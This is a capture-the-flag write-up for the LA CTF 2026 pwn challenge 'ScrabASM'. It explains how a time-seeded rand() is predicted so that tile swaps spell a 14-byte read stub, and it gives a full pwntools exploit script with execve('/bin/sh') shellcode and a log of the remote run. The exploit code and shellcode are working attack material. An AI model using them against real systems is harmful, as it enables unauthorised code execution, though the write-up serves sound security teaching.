Skip to content

LA CTF 2026: ScrabASM

TL;DR

  • The board is mapped RWX at a fixed address.
  • Player tiles are copied directly to the board and executed.
  • Tile values come from rand() seeded with time(NULL).
  • RNG state can be reconstructed to build arbitrary shellcode.

Description

Scrabble for ASM!

Solution

Running the binary presents a scrabble-style interface.

ScrabASM board in action

Source Code Review

We are given 14 random tiles (bytes) and may repeatedly swap individual tiles before choosing to play. When playing, the tiles are copied into a fixed memory region and executed.

void *board = mmap((void *)BOARD_ADDR, BOARD_SIZE,
                   PROT_READ | PROT_WRITE | PROT_EXEC,
                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

memcpy(board, hand, HAND_SIZE);
((void (*)(void))board)();

The board is RWX, fixed at 0x13370000, and execution begins directly at the copied bytes. There is no validation or sandboxing. The only limitation is that the contents of hand are initially random.

RNG Behaviour

Tiles are generated using rand() seeded with time(NULL):

srand(time(NULL));

for (int i = 0; i < HAND_SIZE; i++)
    hand[i] = rand() & 0xFF;

Swapping a tile simply consumes another rand() output:

hand[idx] = rand() & 0xFF;

This makes the entire tile stream predictable once the seed is known.

while (1) {
    puts("    1) Swap a tile");
    puts("    2) Play!");
    printf("    > ");
    if (!fgets(line, sizeof(line), stdin)) break;
    int choice = atoi(line);
    switch (choice) {
        case 1: swap_tile(hand); break;
        case 2: play(hand); return 0;
        default: puts("    Invalid choice!"); break;
    }
}

Recovering the Seed

The starting hand is printed verbatim. Given the output of rand() & 0xff for 14 consecutive calls, the seed can be brute-forced by searching a window around the current time.

Locally this is trivial. Remotely, the clock skew is small enough that a 10 second window is sufficient. Once the seed is recovered, the full future rand() stream is known.

Constructing Shellcode

The board executes exactly 14 bytes. A small stage0 stub is used that reads additional shellcode from stdin:

   0:   be 0e 00 37 13          mov    esi, 0x1337000e
   5:   31 ff                   xor    edi, edi
   7:   31 c0                   xor    eax, eax
   9:   b2 ff                   mov    dl, 0xff
   b:   0f 05                   syscall
   d:   90                      nop

This performs read(0, 0x1337000e, 255). Since execution starts at 0x13370000 and stage0 is 14 bytes, execution falls through to offset 14 (0x1337000e) where stage1 is read.

The goal is to transform the initial random hand into the desired stage0 bytes. This is done by carefully choosing which tile index to overwrite on each swap so that the next rand() output lands at the correct position.

One tile index is designated as a dump slot. Any unwanted rand() outputs are written there. When a generated byte matches a required stage0 byte, it is written to the corresponding index and removed from the remaining set.

Once stage0 is fully assembled, execution is triggered and stage1 is sent over stdin. On average, this requires approximately 1000-1500 swaps, as each needed byte has a 1/256 chance of appearing per rand() call.

Exploit

from pwn import *
import ctypes
import time
import re
import sys

context.log_level = "info"
context.binary = ELF("./chall", checksec=False)
libc = ctypes.CDLL(None)

# Stage0: read(0, 0x1337000e, 255) then fall through to execute stage1
stage0 = bytes.fromhex("be0e00371331ff31c0b2ff0f0590")
stage1 = asm(
    "xor esi,esi; xor edx,edx; mov rbx,0x68732f6e69622fff; shr rbx,8; push rbx; mov rdi,rsp; mov al,59; syscall"
)

io = remote(sys.argv[1], int(sys.argv[2])) if args.REMOTE else process("./chall")

# Parse hand
buf = io.recvrepeat(2)
if b"Your starting tiles:" not in buf:
    buf += io.recvrepeat(3)
hand = None
for line in buf.splitlines():
    if line.count(b"|") >= 15:
        xs = re.findall(rb"\b[0-9a-fA-F]{2}\b", line)
        if len(xs) >= 14:
            hand = [int(x, 16) for x in xs[:14]]
            break
if not hand:
    exit("Failed to parse hand")

log.info("Parsed hand: %s", " ".join(f"{b:02x}" for b in hand))

# Find seed
def r14(s):
    libc.srand(s)
    return [libc.rand() & 0xff for _ in range(14)]

now = int(time.time())
window = 10  # window (10 sec) for clock-skew
log.info("Current time: %d", now)
log.info("Searching seeds in range [%d, %d]", now - window, now + window)

seed = next((s for s in range(now - window, now + window + 1) if r14(s) == hand), None)
if seed is None:
    exit("No seed")

log.success("Found seed: %d (offset: %d seconds)", seed, seed - now)

# Plan swaps
libc.srand(ctypes.c_uint(seed))
[libc.rand() for _ in range(14)]
dump = 13
remaining = set(range(14))
remaining.remove(dump)
swaps = []
while remaining:
    b = libc.rand() & 0xff
    pick = dump
    for i in tuple(remaining):
        if stage0[i] == b:
            pick = i
            remaining.remove(i)
            break
    swaps.append(pick)
while True:
    b = libc.rand() & 0xff
    swaps.append(dump)
    if b == stage0[dump]:
        break

log.info("Planned %d swaps to build stage0", len(swaps))

# Exploit
log.info("Sending swap commands and playing...")
io.send(b"".join([b"1\n" + str(i).encode() + b"\n" for i in swaps]) + b"2\n")
time.sleep(1 if args.REMOTE else 0.2)
log.info("Sending stage1 shellcode...")
io.send(stage1)
io.interactive()

Running against the remote service:

python exploit.py REMOTE chall.lac.tf 31338
[+] Opening connection to chall.lac.tf on port 31338: Done
[*] Parsed hand: bc 11 b2 92 b7 91 b6 b1 99 9a d9 e4 f1 03
[*] Current time: 1770573423
[*] Searching seeds in range [1770573413, 1770573433]
[+] Found seed: 1770573420 (offset: -3 seconds)
[*] Planned 1086 swaps to build stage0
[*] Sending swap commands and playing...
[*] Sending stage1 shellcode...
[*] Switching to interactive mode

    Which tile? (0-13):     Tile swapped!
<SNIP>
    Playing your word...
    TRIPLE WORD SCORE!

$ cat flag.txt
lactf{gg_y0u_sp3ll3d_sh3llc0d3}

Flag: lactf{gg_y0u_sp3ll3d_sh3llc0d3}